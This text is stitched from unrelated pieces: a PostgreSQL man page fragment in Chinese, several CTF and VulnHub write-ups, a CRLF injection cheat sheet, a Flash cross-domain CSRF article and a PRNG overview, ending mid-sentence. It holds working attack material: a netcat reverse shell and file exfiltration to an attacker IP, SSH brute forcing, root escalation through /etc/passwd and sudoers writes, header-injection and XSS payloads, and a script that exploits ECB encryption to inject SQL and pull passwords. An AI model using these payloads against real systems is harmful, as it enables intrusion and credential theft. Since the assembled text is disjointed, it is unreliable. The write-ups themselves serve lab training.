你可以创建一个很纯净的数据库,只包括你的版本的 PostgreSQL 预定义的 标准对象。这个方法可以避免把任何已经加入到template1 里的本地安装对象拷贝到新数据库。 .PP 可选的编码参数允许选择数据库编码, 如果没有声明,缺省是所选用的模板数据库用的编码。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 要创建的数据库名。 .TP \fB\fIdbowner\fB\fR 数据库用户的名字,他将拥有新数据库,或者是写 DEFAULT 使用缺省的(也就是执行命令的用户)。 .TP \fB\fIdbpath\fB\fR 在文件系统里存储新数据库的可选位置;用字串文本声明。 或者用 DEFAULT 表示使用缺省位置。 .TP \fB\fItemplate\fB\fR 从哪个模板创建新数据库,这是模板名。或者用 DEFAULT 使用缺省模板(template1)。 .TP \fB\fIencoding\fB\fR 创建新数据库用的多字节编码方法。声明一个字串文本名字 (比如,'SQL_ASCII'), 或者一个整数编号,或者是 DEFAULT 表示使用缺省编码。 .PP 可选参数可以以任意顺序写,而不仅是上面显示的顺序。 .PP .SH "NOTES 注意" .PP \fBCREATE DATABASE\fR 不能在一个事务块里面执行。 block. .PP 类似 "could not initialize database directory" 这样的错误最有可能是因为数据目录的权限不够, 或者磁盘满,或者其它文件系统的问题。在使用可选的位置的时候,运行数据库服务器的用户必须有访问该位置的权限。 .PP 使用 DROP DATABASE [\fBdrop_database\fR(7)] 删除一个数据库。 .PP 程序 createdb[\fBcreatedb\fR(1)] 是是这个命令的封装,提供来方便使用。 .PP 在用绝对路径指定的可选数据库位置时,有一些安全和数据完整性的问题, 这就是为什么缺省时没有打开这个特性的原因。 参考 ``Managing Databases'' 获取更多的信息。 .PP 尽管我们可以通过把某数据库名声明为模板(而非 template1)从非template1数据库拷贝数据库, 但是这(还)不是一个通用的 "COPY DATABASE" 功能。 因此,我们建议当做模板使用的数据库都应该是以只读方式对待的。 参阅 ``Managing Databases'' 获取更多信息。 .SH "EXAMPLES 例子" .PP 创建一个新的数据库: .sp .nf CREATE DATABASE lusiadas; .sp .fi .PP 在另一个地方 ~/private_db创建新数据库, 在 shell 里执行下面的东西: shell: .sp .nf mkdir private_db initlocation ~/private_db .sp .fi 然后在一个 psql 会话里执行下面的东西: .sp .nf CREATE DATABASE elsewhere WITH LOCATION '/home/olly/private_db'; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准里没有 CREATE DATABASE 语句。 数据库等同于目录,其创建是由实现决定的。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# Raiding party (game, 140p, 10 solved) In this game challenge we have a quest to collect `5 blessed amulets`. The issue is that there are only 4 of those on the map. By looking at spells we have available, we found one that seemed interesting: ```python @magic_spell("7071727374757677") def spell_rebless(spell, player, world): player.show_text("Select a blessable item for random re-blessing:") for _ in player.YIELDING_select(): # yield from if _ is False: return yield _ if player.select_result is None: player.show_text("Something's not right.") return target_type, target = player.select_result if target_type != "item": player.show_text("Something went wrong.") return item, item_location, item_location_info = target if not hasattr(item, "blessable") or not item.blessable: player.show_text("Wrong kind of item") return item_type = type(item) player.show_text("Summoning astral plane beings...") for _ in world.YIELDING_sleep(1.0): # yield from yield _ blessing_type = random.choice([ "cosmic", "aetheric", "ghostic", "soulic", "magic", "voidic" ]) player.show_text("A %s being answered!" % blessing_type) world.reclaim_item(item) item.id = ITEM_NON_EXISTING_ID item = world.register_item(item_type(blessing_type)) player.add_to_inventory(item) player.send_inventory() player.send_ground() ``` The important part here is: ```python for _ in world.YIELDING_sleep(1.0): # yield from yield _ ``` which basically halts execution of this function for 1 second, while rest of the game is still going, and: ```python world.reclaim_item(item) item.id = ITEM_NON_EXISTING_ID item = world.register_item(item_type(blessing_type)) player.add_to_inventory(item) ``` which pretty much removes the item, creates a new one, and adds it to our inventory. The idea here is quite simple: if we could cast this spell twice on the same item, before it gets removed, we should get it back twice, effectively duplicating the item. One problem is that we can't actually cast 2 spells at the same time, because there is a check for that. However, this check does not include spells casted from scrolls, since casting from scroll is `item use` action and not `cast spell` action. We need to do some running around to collect necessary items (empty scrolls, quill, mana potions), but eventually we can do: ![](duplicate.png) Once we have a duplicate, we can collect rest of the amulets (or duplicate more, if we have enough mana) and collect the flag. ![](amulets.png)
sec-knowleage
# Carriage Return Line Feed > The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. > A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. ## Summary - [CRLF - Add a cookie](#crlf---add-a-cookie) - [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass) - [CRLF - Write HTML](#crlf---write-html) - [CRLF - Filter Bypass](#crlf---filter-bypass) - [References](#references) ## CRLF - Add a cookie Requested page ```http http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue ``` HTTP Response ```http Connection: keep-alive Content-Length: 178 Content-Type: text/html Date: Mon, 09 May 2016 14:47:29 GMT Location: https://www.example.net/[INJECTION STARTS HERE] Set-Cookie: mycookie=myvalue X-Frame-Options: SAMEORIGIN X-Sucuri-ID: 15016 x-content-type-options: nosniff x-xss-protection: 1; mode=block ``` ## CRLF - Add a cookie - XSS Bypass Requested page ```powershell http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e ``` HTTP Response ```http HTTP/1.1 200 OK Date: Tue, 20 Dec 2016 14:34:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 22907 Connection: close X-Frame-Options: SAMEORIGIN Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT ETag: "842fe-597b-54415a5c97a80" Vary: Accept-Encoding X-UA-Compatible: IE=edge Server: NetDNA-cache/2.2 Link: <https://example.com/[INJECTION STARTS HERE] Content-Length:35 X-XSS-Protection:0 23 <svg onload=alert(document.domain)> 0 ``` ## CRLF - Write HTML Requested page ```http http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E ``` HTTP response ```http Set-Cookie:en Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT Content-Length: 34 <html>You have been Phished</html> ``` ## CRLF - Filter Bypass Using UTF-8 encoding ```http %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE ``` Remainder: * %E5%98%8A = %0A = \u560a * %E5%98%8D = %0D = \u560d * %E5%98%BE = %3E = \u563e (>) * %E5%98%BC = %3C = \u563c (<) ## Labs * [https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection) ## Exploitation Tricks * Try to search for parameters that lead to redirects and fuzz them * Also test the mobile version of the website, sometimes it is different or uses a different backend ## References * https://www.owasp.org/index.php/CRLF_Injection * https://vulners.com/hackerone/H1:192749
sec-knowleage
# BaseX, 300p, exploit > BaseX stores datas from stdin into a buffer. The binary was allowing us to write arbitrary data to arbitrary offset from stack (simple buffer overflow). A complication was that we had no echo, which made debugging the exploit harder. In the end, we ROP-ped to gadgets, overwriting `fread` GOT entry to `system`'s, then jumped there with crafted command string.
sec-knowleage
# DC4-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/dc-4,313/ **Description** DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools. For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward. **Technical Information** DC-4 is a VirtualBox VM built on Debian 32 bit, so there should be no issues running it on most PCs. If there are any issues running this VM in VMware, have a read through of this. It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP. Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go. **知识点** - web 登录爆破 (前期) - web 命令执行 (中期) - 反弹 shell (中期) - SSH 爆破 (后期) - linux 提权 (后期) **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.137` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.137 ``` 一个 web ,一个 ssh,先看看 web 有什么信息 单纯一个登录页面,没有任何其他逻辑功能,比如密码找回、注册 那么接下来有几种手段,直接爆破账号密码,SQL注入,和爆破目录敏感文件等,这里都可以使用 wfuzz 进行完成 直接爆破弱口令试试,注意,这里名称叫做"Admin Information Systems Login" 那么账号名很可能就是 "admin" 或 "systems",密码字典可以直接使用 kali 自带的 `/usr/share/wordlists/rockyou.txt` ```bash head -10000 /usr/share/wordlists/rockyou.txt > test.txt wfuzz -v -w test.txt -d "username=admin&password=FUZZ" --hh 206 -u http://192.168.141.137/login.php ``` 解释一下,第一句是把 rockyou.txt 前 10000 行单独创建为一个文件 test.txt,源文件太大了足足1000多W行,wfuzz直接无法识别字典。 可见,跑出了 payload 也就是密码 `happy` --- # 中期-漏洞利用 直接登录发现存在运行执行代码的功能点 这里可以在 burp 中拦截请求,将 payload 改为我们需要的命令 这里 kali 做好监听 ```bash nc -lvp 4444 ``` 修改包执行回弹命令 ```bash nc -nv 192.168.141.134 4444 -e /bin/bash ``` 此时 kali 以收到弹回的 shell,给他改成方便交互的 ```bash python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm ``` --- # 后期-提权 接下来要想办法提权,查看能够登录的帐号 ```bash cat /etc/passwd | grep "/bin/bash" ``` ``` root:x:0:0:root:/root:/bin/bash charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash ``` 查看目录 ```bash ls /home/jim ls /home/sam ls /home/charles ls /tmp ``` 在 `/home/jim/` 下发现了 `mbox` 文件,但是没权限读,那么想办法登录 jim 在 `/home/jim/backups` 下发现了 `old-passwords.bak` 文件,用 `scp` 命令从靶机传到 kali 上去 ```bash scp /home/jim/backups/old-passwords.bak root@192.168.141.134:/ ``` 当然用 nc 也可以直接传 ```bash nc -nvlp 5555 > old-passwords.bak nc 192.168.141.134 5555 < /home/jim/backups/old-passwords.bak ``` 看了下 old-passwords.bak 内容,是个密码表,那么直接用它爆破 SSH ```bash hydra -l jim -P /old-passwords.bak 192.168.141.137 ssh ``` 登录,并查看 mbox 内容 看上去像是一份邮件,去 `/var/mail` 看看是否有信息 发现一份 charles 给 jim 的信,他要去度假,老板让他把密码给 jim,ok 收获 charles 密码 `^xHhA&hvim0y` 登录 charles 用户并尝试提权 ```bash su charles sudo -l ``` Charles 可以使用 sudo 权限运行 teehee。teehee 可以干嘛?可以将标准输入复制到我们选择的文件中。那么我可以直接写一个 root 权限的用户到 /etc/passwd 下,也可以直接在 sudoers 里给 charles 所有权限 1. 直接写个 root 权限用户 ```bash echo "test::0:0:::/bin/sh" | sudo teehee -a /etc/passwd su test whoami ``` 2. 在 sudoers 里给 charles 所有权限 ```bash echo "charles ALL=(ALL:ALL) ALL" | sudo teehee /etc/sudoers sudo -l sudo su ``` 提权成功,感谢靶机作者 @DCUA7
sec-knowleage
### 伪随机数生成器概述 伪随机数生成器(pseudorandom number generator,PRNG),又称为确定性随机位生成器(deterministic random bit generator,DRBG),是用来生成**接近于绝对随机数序列的数字序列**的算法。一般来说,PRNG 会依赖于一个初始值,也称为种子,来生成对应的伪随机数序列。只要种子确定了,PRNG 所生成的随机数就是完全确定的,因此其生成的随机数序列并不是真正随机的。 就目前而言,PRNG 在众多应用都发挥着重要的作用,比如模拟(蒙特卡洛方法),电子竞技,密码应用。 ### 随机性的严格性概述 - 随机性:随机数应该不存在统计学偏差,是完全杂乱的数列。 - 不可预测性:不能从过去的序列推测出下一个出现的数。 - 不可重现性:除非数列保存下来,否则不能重现相同的数列。 这三个性质的严格性依次递增。 一般来说,随机数可以分为三类 | 类别 | 随机性 | 不可预测性 | 不可重现性 | | :--------: | :----: | :--------: | :--------: | | 弱伪随机数 | ✅ | ❌ | ❌ | | 强伪随机数 | ✅ | ✅ | ❌ | | 真随机数 | ✅ | ✅ | ✅ | 一般来说,密码学中使用的随机数是第二种。 ### 伪随机数周期 正如我们之前所说,一旦 PRNG 所依赖的种子确定了,那么 PRNG 生成的随机数序列基本也就确定了。这里定义 PRNG 的周期如下:对于一个 PRNG 的**所有可能起始状态**,不重复序列的最长长度。显然,对于一个 PRNG 来说,其周期不会大于其所有可能的状态。但是,需要注意的是,并不是当我们遇到重复的输出时,就可以认为是 PRNG 的周期,因为 PRNG 的状态一般都是大于输出的位数的。 ### 伪随机数生成器分类 目前通用的伪随机数生成器主要有 - 线性同余生成器,LCG - 线性回归发生器 - [Mersenne Twister](https://en.wikipedia.org/wiki/Mersenne_Twister) - [xorshift](https://en.wikipedia.org/wiki/Xorshift) generators - [WELL](https://en.wikipedia.org/wiki/Well_Equidistributed_Long-period_Linear) family of generators - Linear feedback shift register,LFSR,线性反馈移位寄存器 ### 伪随机数生成器面临问题 通常来说,伪随机数生成器可能会有以下问题 - 在某些种子的情况下,其生成的随机数序列的周期会比较小。 - 生成大数时,分配的不均匀。 - 连续值之间关联密切,知道后续值,可以知道之前的值。 - 输出序列的值的大小很不均匀。
sec-knowleage
## 0x01 简单介绍 CSRF的全称是Cross-Site Request Forgery,跨站请求伪造,即第三方冒充当前用户身份发送请求。 Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的,利用方法是使用swf来发起跨站请求伪造,示例请参照[CSRF](../跨站请求伪造/CSRF.md) ## 0x02 flash的跨域策略 adobe为了限制flash加载任意页面,使用了一种跨域策略来进行限制。 所谓的flash跨域策略文件就是在站点根目录的crossdomain.xml,这个XML文件配置当前站点的资源允许来自哪些域的flash加载。当flash加载一个站点的资源时,如果目标不跟自己一个站点,flash就会自动去访问目标站点根目录下的crossdomain.xml文件,如果crossdomain.xml中的allow-access-from domain标签包含flash所在网站,那么flash就可以加载该内容。 一个crossdomain.xml文件可能是这样的: ``` xml <?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*.example.com" /> <allow-access-from domain="www.test.com" secure="true" /> </cross-domain-policy> ``` 以上策略就是允许来自*.example.com、www.test.com 的flash加载资源。secure="true" 的意思是只允许通过安全链接来请求本域的数据。在站点不存在crossdomain.xml文件的情况,允许flash主动加载目标站点的其他XML文件作为跨域策略文件。比如,flash9中可以使用Security.loadPolicyFile加载目标站点的其他文件作为跨域策略文件。如果没有跨域策略文件许可,那么flash就不能加载该站点的内容。 ## 0x03 如何绕过跨域限制 我们要进行CSRF,可能需要获取目标站点某些页面中的内容,这个时候就得想办法绕过flash的跨域策略。 * 最简单的情况是目标站点本身没有安全意识,允许任意flash加载内容那就没话说了(allow-access-from domain="*")。 * 还有就是目标站点根目录没有crossdomain.xml,那就看看能否找到上传文件的地方传一个同样格式的文件上去,然后用Security.loadPolicyFile加载之。这里貌似flash有通过Content-Type来判断,所以要文本类型的才有效。 * 在目标站点没有crossdomain.xml 情况下,在目标站点上传一个swf(文件后缀不重要),在 evil站点以 object 标签加载,这样swf 发出的请求其实是目标站点的同域请求,可以读取返回的数据。 > If a Flash file (bogus image file) is uploaded on victim.com and then embedded at attacker.com, the Flash file can execute JavaScript within the domain of attacker.com. However, if the Flash file sends requests, it will be allowed to read files within the domain of victim.com. > A SWF’s origin is the domain from which it was retrieved from, similar to a Java applet (uses IP addresses instead of domain names though), therefore a malicious page could embed a SWF, which originates from the target’s domain that could make arbitrary requests to the target domain and read the responses (steal sensitive data, defeat CSRF protections, and other generally nasty actions). Based on these facts we can create an attack scenario like this: ``` An attacker creates a malicious Flash (SWF) file The attacker changes the file extension to JPG The attacker uploads the file to victim.com The attacker embeds the file on attacker.com using an <object> tag with type "application/x-shockwave-flash" The victim visits attacker.com, loads the file as embedded with the <object> tag The attacker can now send and receive arbitrary requests to victim.com using the victims session The attacker sends a request to victim.com and extracts the CSRF token from the response ``` A payload could look like this: ``` html <object style="height:1px;width:1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/ secret_file.txt"></object> ``` 假如目标站点也找不到上传文件的地方,如果存在 jsonp 接口,也是可以直接利用的,我们把编译好的swf 代码当作callback 的参数,如下 ``` html <object style="height:1px;width:1px;" data="http://viticm.com/user/get?type=jsonp&callback= CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E% 117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al %8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29 %AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q %A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6 %CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=alert&u=http://mywebsite.example.com/secret_file.txt"></object> ``` * 最后一种情况是有crossdomain.xml,而且配置得很好。这个时候就要稍微麻烦一点,那我们就去找它支持flash加载的站点是否可以上传文件,上传我们精心构造的flash就好了。后缀倒无所谓:如果是以object标签调用flash的话任意后缀就可以;以embed调用的话除了jpg、jpeg、gif等少数后缀不支持外其他都可以。也就是说在一个中间站点上传文件,evil 站点加载中间站点的swf,swf 去请求目标站点的内容,因为swf 与中间站点同域,而这个域在 crossdomain.xml 允许的范围内,故可以成功。 ## 0x04 如何防御 * Web程序中可以通过请求的来源进行判断:通过正常页面过来的referer我们已知的,flash过来的请求referer为空或者是swf文件地址。另外,flash发送请求的时候也会在HTTP头中带上x-flash-version标识版本。 * So if you allow file uploads or printing arbitrary user data in your service, you should always verify the contents as well as sending a Content-Disposition header where applicable. e.g `Content-Disposition: attachment; filename="image.jpg"` Isolating the domain of the uploaded files is also a good solution as long as the crossdomain.xml file of the main website does not include the isolated domain. * 站点根目录的crossdomain.xml文件要配置好,尽量精确到子域,缩小被攻击面。 ## Reference [the-lesser-known-pitfalls-of-allowing-file-uploads-on-your-website](https://labs.detectify.com/2014/05/20/the-lesser-known-pitfalls-of-allowing-file-uploads-on-your-website/) [Even uploading a JPG file can lead to Cross Domain Data Hijacking](https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/) [Content-Type Blues](http://d3adend.org/blog/?p=242) [CrossSiteContentHijacking](https://github.com/nccgroup/CrossSiteContentHijacking)
sec-knowleage
## Fridginator (Crypto/Web, 200p) > My brother John just bought this high-tech fridge which is all flashy and stuff, > but has also added some kind of security mechanism which means I can't steal his > food anymore... I'm not sure I can survive much longer without his amazing yoghurts. > Can you find a way to steal them for me? > http://fridge.insomnihack.ch/ ### PL [ENG](#eng-version) Łączymy się ze wskazanym adresem. Trzeba zarejestrować swojego użytkownika. Zaczynamy od sprawdzenia co możemy zrobić. Możemy dodawać 'jedzenie' do lodówki, wyciągać swoje jedzenie, oraz wyszukiwać użytkowników i jedzenie. ![](./screen.PNG) Ta ostatnia opcja wydaje się ciekawa, ponieważ oba pola wyszukiwania prowadzą ostatecznie do bardzo podobnej strony. Wyszukanie użytkownika 'aaa' redirectuje do: http://fridge.insomnihack.ch/search/c5c376484a22a1a196ced727b32c05ce706fa0919a8b040b2a2ba335c7c45726/ A wyszukanie jedzenia 'aaa' redirectuje do: http://fridge.insomnihack.ch/search/c5c376484a22a1a196ced727b32c05ceed1a8d4636d71c65dcf1bca14dac7665/ Nasza myśl (jak później się okazało - prawie trafna): być może parametr do search to zaszyfrowane jakimś szyfrem blokowym zapytanie SQL. Długość bloku to 16 bajtów - można to sprawdzić, bo szyfrowanie 0123456789ABCD daje w wyniki: b15fd5ffdae30bbe81f2ba9ec6930473b57ceb7611442a1380e2845a9b916405 A już zaszyfrowanie 0123456789ABCDE (15 znaków) daje: b15fd5ffdae30bbe81f2ba9ec6930473cce0dd7d051074345c5a8090ba39d24cb9719c83f5ab5c0751937a39150c920d Mamy już jedną informację. Teraz możemy sprawdzić czy bloki są w jakiś sposób przeplatane (CTR, CBC), czy szyfrowane niezależnie (ECB): Zaszyfrowanie aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa daje nam w wyniku: 5616962f8384b4f8850d8cd1c0adce98 e449af7ccbc7f34f2f1976a5fbfeb93f e449af7ccbc7f34f2f1976a5fbfeb93f e449af7ccbc7f34f2f1976a5fbfeb93f 04ea1913c8d3e7f30d2626ee9dfeff07 f1ad77dcff3212b1a5f83d230610d845 Wyraźnie widać powtarzający się blok na środku (więc mamy do czynienia z ECB), ale pierwszy i ostatni blok się różnią (więc do danych jest doklejany jakiś prefiks i sufiks). Pierwszą rzeczą jaką zrobiliśmy, było napisanie "fuzzera" do zaszyfrowanych danych - gdyż byliśmy ciekawi co powiedzą nam błędy. Kod jest mało ciekawy (podany w [pliku fuzzer.py](fuzzer.py)), ale wyniki bardziej - spośród wyfuzzowanych kilkuset błedów, najciekawsze dwa: <p> Error : no such table: objsearch_user♠ </p> <p> Error : unrecognized token: &quot;&#39;i WHERE description LIKE ?&quot; </p> Ok, mamy już jakieś dane. Co teraz? Wpadliśmy na to, że można wyciągnąć "sufiks" który jest doklejany do naszych danych przed szyfrowaniem - bajt po bajcie. Jak konkretnie to zrobić - wiemy że dane są szyfrowane blok po bloku. Oznaczając przez [xxxxxxxxx] bloki, (i przez 'a' payload) zaszyfrowane dane wyglądają mniej więcej tak: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aaaaaaasuf][fix_______] Ale jeśli wyślemy odpowiednio długi content, możemy otrzymać taki układ: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aaaaaaaaas][uffix_____] Co nam to daje - że czwarty blok tak zaszyfrowanych danych skłąda się z 15 znaków 'a', oraz pierwszego bajtu payloadu. Wystarczy przebrutować około 100 printowalnych znaków ASCII, i sprawdzić który z nich szyfruje się do tego samego bloku co ten powyżej, i mamy pierwszy znak sufiksu. A później powtarzać aż poznamy cały sufiks. Napisaliśmy do tego taki skrypt (dość skomplikowany, ponieważ trzeba było zaimplementować szyfrowanie przez stronę): ```python import requests import time import string prefx_len = 7 sufx_len = 11 def encrypt(payload): sessid = 'ln8h6x5zwp6oj2e7kz6zd45hlu97q3yp' cookies = {'sessionid': sessid} cookies['AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EF1BD84608DB9FFA0FC0F2F4F304AC9CD30CDCC86788A845DF98A68A77D605B8BF768114D93228AACFB536DE3963E28F295D0C2D52138BA1520672BB1428B11124' url0 = 'http://fridge.insomnihack.ch/' base = requests.get(url0, cookies=cookies) text = base.text csrf = "<input type='hidden' name='csrfmiddlewaretoken' value='" start = text.find(csrf) + len(csrf) token = text[start:start+32] cookies['csrftoken'] = token url = 'http://fridge.insomnihack.ch/users/' resp = requests.post(url, data={'term': payload, 'csrfmiddlewaretoken': token}, cookies=cookies, allow_redirects=False) prefx = '/search/' loc = resp.headers['location'] return loc[len(prefx):-1] prefx = 'p' * prefx_len known_suffix = '' for i in range(sufx_len): content_len = 48 - prefx_len - len(known_suffix) - 1 content = 'a' * content_len crypted = encrypt(content) crypted_chunks = chunks(crypted, 32) print crypted_chunks sought = crypted_chunks[-2] print 'sought', i, sought for c in [chr(x) for x in range(256)]: payload = content + known_suffix + c decrypted = encrypt(payload) decrypted_chunks = chunks(decrypted, 32) print decrypted_chunks result = decrypted_chunks[-2] if result == sought: print 'got', c known_suffix += c print known_suffix break ``` Sufiks który otrzymaliśmy to: |type=user Jesteśmy w domu. Bo patrząc na błędy które otrzymaliśmy, ten typ jest doklejany bezpośrednio do zapytania - więc możemy zrobić SQLi, jeśli tylko nauczymy się jak "dokleić" coś na koniec zaszyfrowanego tekstu. A możemy spokojnie dokleić coś na koniec ciphertextu, o ile długość ciphertextu jest wielokrotnością 16 bajtów - obrazowo: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aa|type=user][ WHERE 1=1 --] Spowoduje wykonanie zapytania w rodzaju SELECT (?) FROM objsearch_user WHERE 1=1 -- ??? Idealnie. A blok `[ Where 1=1 --]` (i dowolny inny) możemy spokojnie zaszyfrować - zrobi to za nas strona. Wystarczy, że SQLi które chcemy zaszyfrować będzie wypełniać całkowicie kilka następujących po sobie bloków. Wynika to ze słabości ECB - blok plaintextu zawsze jest szyfrowany do tej samej postaci, bez względu na położenie. Potrzebujemy jedynie dopełnić blok z prefixem (9 bajtów) a potem dodać na końcu naszego SQLi padding (np. spacje), tak żeby suffix dodawany przez serwer trafił w całości do ostaniego bloku: [prefix123456789][SQLi part1]...[SQLi partN ][|type=user] Wysyłając taki payload otrzymamy w wyniku N+2 bloki. Pierwszy i ostatni blok odrzucamy bo zawierają tylko prefix i suffix od serwera, a wszystkie pozostałe zawierają nasz kod. Możemy je teraz wstawić pomiędzy dowolne inne bloki a serwer zdekoduje je i doklei w odpowiednie miejsce. Jest tylko jedna pułapka - padding. Dane szyfrowane szyfrem blokowym muszą mieć długośc równą wielokrotności 16 bajtów. Co jeśli są krótsze? Jeden z popularnych schematów paddingu (konkretnie, PKCS7) działa tak: * jeśli danym do wielokrotności 16 bajtów brakuje 1 bajta - doklej na koniec '\x01' * jeśli danym do wielokrotności 16 bajtów brakuje 2 bajtów - doklej na koniec '\x02\x02' * jeśli danym do wielokrotności 16 bajtów brakuje 3 bajtów - doklej na koniec '\x03\x03\x03' * ... * i uwaga, jeśli danym już są wielokrotnością 16 bajtów - doklej na koniec '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10' Ostatni warunek jest konieczny, żeby deszyfrowanie było zawsze jednoznaczne. Tak więc trzeba pamiętać, że ostatni zaszyfrowany blok będzie "fałszywym" blokiem składającym się wyłącznie z bajtów 0x10, i musimy go pominąć a później dokleić na końcu. Łącząc te wszystkie pomysły, napisaliśmy taki kod [final.py](final.py): ```python def hack(query): parts = encrypt2(query) part = ''.join(parts) prfx = 'b15fd5ffdae30bbe81f2ba9ec6930473cce0dd7d051074345c5a8090ba39d24c' sufx = 'b9719c83f5ab5c0751937a39150c920d' return prfx + part + sufx def hack2(query): payload = hack(query) session = '16if76517xm5zvvwn0l09yq8hqwbgdi5' cookies = {'sessionid': session} cookies[ 'AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EFD0AA7BC023208F4937F97452EF3E07B21CF2698ED17FB3AE4D8A6166A17A44ACBC6810BEC0739D56BBE463F63CC54BC91275B57E8FE8CBB9B39F65DFAFFA27C1' url = 'http://fridge.insomnihack.ch/search/' r = requests.get(url + payload, cookies=cookies) return r.text def hack3(query): return hack2(' union all select 1, (' + query + '), 3, 4, 5 union all select 1, 2, 3, 4, 5 from objsearch_user ') import sys print hack3(sys.argv[1]) ``` Pozwala on trywialnie wykonać dowolne zapytanie na bazie - wygląda na to żę zadanie praktycznie zrobione Jedyne trzy tabele które znaleźliśmy (niestety, nie mamy screenów) to objsearch_user, objsearch_object oraz sqlite_sequence. Wyciągneliśmy więc po prostu DDL dla objsearch_user: CREATE TABLE &quot;objsearch_user&quot; (&quot;id&quot; integer NOT NULL PRIMARY KEY AUTOINCREMENT, &quot;username&quot; varchar(200) NOT NULL, &quot;description&quot; varchar(2000) NOT NULL, &quot;password&quot; varchar(200) NOT NULL, &quot;email&quot; varchar(200) NOT NULL) A następnie wyciągneliśmy "password" dla użytkownika "John" - okazało się być plaintextowe: SuperDuperPasswordOfTheYear!!! Wystarczyło w tym momencie zalogowąć się na użytkownika John i "wyciągnąć" jego jedzenie z lodówki: Hello Johnny, have your food and a flag, because why not? INS{I_do_encryption_so_no_SQL_injection} ### ENG version We connect to address specified in task description. After registering our user, we check what we can do. We can add 'food' to fridge, took 'food' out, and search for users and food. ![](./screen.PNG) Last option is particulary interesting, because both search fields directs us to the same page in the end. Searching for user named 'aaa' redirects us to: http://fridge.insomnihack.ch/search/c5c376484a22a1a196ced727b32c05ce706fa0919a8b040b2a2ba335c7c45726/ And searching for food called 